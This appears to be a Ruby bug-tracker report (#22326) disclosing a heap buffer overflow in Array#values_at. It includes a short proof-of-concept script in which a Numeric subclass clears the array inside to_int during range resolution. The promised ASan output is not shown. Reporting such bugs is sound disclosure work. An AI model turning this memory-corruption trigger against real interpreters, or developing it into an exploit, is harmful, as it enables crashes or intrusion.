Actions
Bug #22326
openheap buffer overflow in array.values_at()
Bug #22326:
heap buffer overflow in array.values_at()
Description
Hello, I discovered a heap buffer overflow in array.values_at(). I believe the root issue/potential fix is similar to #22325, but the code paths are distinct.
PoC:
class bad < Numeric
def initialize(v); @v = v; end
def val; @v; end
def <=>(o); @v <=> (o.is_a?(bad) ? o.val : o); end
def to_int; $a.clear; @v; end
def to_i; @v; end
def coerce(o); [o, @v]; end
end
$a = (1..3000).to_a
$a.values_at(Range.new(bad.new(2900), bad.new(2950)))
asan output (truncated):
Actions